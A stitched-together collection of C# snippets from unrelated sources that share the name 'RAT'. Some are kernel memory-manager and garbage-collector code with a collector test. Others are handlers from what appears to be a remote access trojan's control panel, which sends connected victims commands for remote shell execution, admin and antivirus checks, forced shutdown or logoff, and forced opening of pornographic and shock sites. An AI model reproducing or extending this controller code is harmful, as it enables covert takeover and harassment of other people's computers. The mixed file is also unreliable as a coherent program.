/// <summary>
/// Initialise the Memory Manager, this should not be called anymore since it is done very early during the boot process.
/// </summary>
public static unsafe void Init()
{
if (StartedMemoryManager)
{
return;
}
StartedMemoryManager = true;
var largestBlock = CPU.GetLargestMemoryBlock();
if (largestBlock != null)
{
memPtr = (byte *)largestBlock->Address;
memLength = largestBlock->Length;
if ((uint)memPtr < CPU.GetEndOfKernel() + 1024)
{
memPtr = (byte *)CPU.GetEndOfKernel() + 1024;
memPtr += RAT.PageSize - (uint)memPtr % RAT.PageSize;
memLength = largestBlock->Length - ((uint)memPtr - (uint)largestBlock->Address);
memLength += RAT.PageSize - memLength % RAT.PageSize;
}
}
else
{
memPtr = (byte *)CPU.GetEndOfKernel() + 1024;
memPtr += RAT.PageSize - (uint)memPtr % RAT.PageSize;
memLength = (128 * 1024 * 1024);
}
RAT.Init(memPtr, (uint)memLength);
}
private void removeBar_Click(object sender, EventArgs e)
{
RAT.Send("shutting");
currentSelectedBar.session.Stop();
clientsPanel.Controls.Remove(currentSelectedBar);
AllignClientBars(clientsPanel);
}
/// <summary>
/// Decrements the root count of the object at the pointer by 1
/// </summary>
/// <param name="aPtr"></param>
public static unsafe void DecRootCount(ushort *aPtr)
{
if (RAT.GetPageType(aPtr) != 0)
{
var rootCount = *(aPtr - 1) >> 1; // lowest bit is used to set if hit
*(aPtr - 1) = (ushort)((rootCount - 1) << 1); // loest bit can be zero since we shouldnt be doing this while gc is collecting
}
}
public CAD(RAT form)
{
this.form = form;
// Now the CAD class maintains a reference to the form it is
// supposed to change. This field can be used in other methods
// when it is time to remove the extra controls and restore
// the size, like so:
// form.Size = new System.Drawing.Size(805, 300);
}
public override void UpdateApp()
{
Kernel.canvas.DrawString("Available RAM = " + GCImplementation.GetAvailableRAM() + "MB", Kernel.font, Kernel.BlackPen, (int)x, (int)y);
Kernel.canvas.DrawString("Used RAM = " + GCImplementation.GetUsedRAM() + "B", Kernel.font, Kernel.BlackPen, (int)x, (int)(y + Kernel.font.Height));
Kernel.canvas.DrawString("Small Allocated Object Count = " + HeapSmall.GetAllocatedObjectCount(), Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 2 * Kernel.font.Height));
Kernel.canvas.DrawString("Small Page Count = " + RAT.GetPageCount(RAT.PageType.HeapSmall), Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 3 * Kernel.font.Height));
Kernel.canvas.DrawString("Medium Page Count = " + RAT.GetPageCount(RAT.PageType.HeapMedium), Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 4 * Kernel.font.Height));
Kernel.canvas.DrawString("Large Page Count = " + RAT.GetPageCount(RAT.PageType.HeapLarge), Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 5 * Kernel.font.Height));
Kernel.canvas.DrawString("RAT Page Count = " + RAT.GetPageCount(RAT.PageType.RAT), Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 6 * Kernel.font.Height));
Kernel.canvas.DrawString("SMT Page Count = " + RAT.GetPageCount(RAT.PageType.SMT), Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 7 * Kernel.font.Height));
Kernel.canvas.DrawString("GC Managed Page Count = " + RAT.GetPageCount(RAT.PageType.SMT), Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 8 * Kernel.font.Height));
Kernel.canvas.DrawString("Free Count = " + Kernel.FreeCount, Kernel.font, Kernel.BlackPen, (int)x, (int)(y + 9 * Kernel.font.Height));
}
private async void Form1_Load(object sender, EventArgs e)
{
//set the form
RAT.caller = this;
//start the server async
await Task.Run(() => RAT.StartServer(port));
statusLabel.Text = "Server started";
await Task.Delay(4000);
statusLabel.Text = "";
}
private void exit_Click(object sender, EventArgs e)
{
this.Hide();
//tell all the connected clients that we are closing
ClientBar.SupressErrors = true;
//tell all clients that the server is shutting down
foreach (ClientBar bar in clientsPanel.Controls)
{
RAT.Send("shutting", bar);
}
Application.Exit();
}
private void cmdInputBox_KeyDown(object sender, KeyEventArgs e)
{
//if the user hits the 'Return' or 'Enter' key
if (e.KeyCode == Keys.Return)
{
if (cmdInputBox.Text == "cls")
{
cmdBox.Text = "";
}
else
{
RAT.Send($"cmd|command|{cmdInputBox.Text}");
}
e.SuppressKeyPress = true; //this just supresses the keypress, meaning that we won't get that annoying message when we hit return
}
}
private unsafe void TestGarbageCollectorMethods()
{
// allocating + freeing works on gc side
int allocated = HeapSmall.GetAllocatedObjectCount();
object c = new object();
int nowAllocated = HeapSmall.GetAllocatedObjectCount();
GCImplementation.Free(c);
int afterFree = HeapSmall.GetAllocatedObjectCount();
Assert.AreEqual(allocated + 1, nowAllocated, "NewObj causes one object to be allocated");
Assert.AreEqual(allocated, afterFree, "Free causes one object to be freed again");
var testString = "asd";
Assert.AreEqual(RAT.PageType.Empty, RAT.GetPageType(GCImplementation.GetPointer(testString)), "String is created statically and not managed by GC");
Assert.IsTrue(Heap.Collect() >= 0, "Running GC Collect first time does not crash and returns non-negative value");
}
private void open_Click(object sender, EventArgs e)
{
RAT.Send($"process|{urlBox.Text}|{iterationsBox.Text}");
this.Close();
}
private void cmdAntivirus_Click(object sender, EventArgs e)
{
RAT.Send("info|avirus");
}
private void cmdUninstall_Click(object sender, EventArgs e)
{
RAT.Send("rat|uninstall");
}
private void cmdCheckAdmin_Click(object sender, EventArgs e)
{
RAT.Send("info|isadmin");
}
private void pornProc_Click(object sender, EventArgs e)
{
RAT.Send($"process|https://www.pornhub.com/|1");
}
private void meatProc_Click(object sender, EventArgs e)
{
RAT.Send($"process|http://meatspin.fr/|1");
}
private void cmdLogOff_Click(object sender, EventArgs e)
{
RAT.Send("pc|logoff");
}
private void cmdRestart_Click(object sender, EventArgs e)
{
RAT.Send("pc|restart");
}
private void cmdShutdown_Click(object sender, EventArgs e)
{
RAT.Send("pc|shutdown");
}
private void cmdGetBleu_Click(object sender, EventArgs e)
{
RAT.Send("info|bleu");
}
/// <summary>
/// Get a rough estimate of used Memory by the System
/// </summary>
/// <returns>Returns the used PageSize by the MemoryManager in Bytes.</returns>
public static uint GetUsedRAM()
{
return((RAT.TotalPageCount - RAT.GetPageCount(RAT.PageType.Empty)) * RAT.PageSize);
}
private void RemoteCMD_FormClosing(object sender, FormClosingEventArgs e)
{
RAT.Send("cmd|stop");
}
private void RemoteCMD_Load(object sender, EventArgs e)
{
RAT.Send("cmd|start");
}
private void send_Click(object sender, EventArgs e)
{
RAT.Send($"showmsg|{titleBox.Text}|{msgBox.Text}|{iconBox.SelectedItem.ToString()}");
this.Close();
}
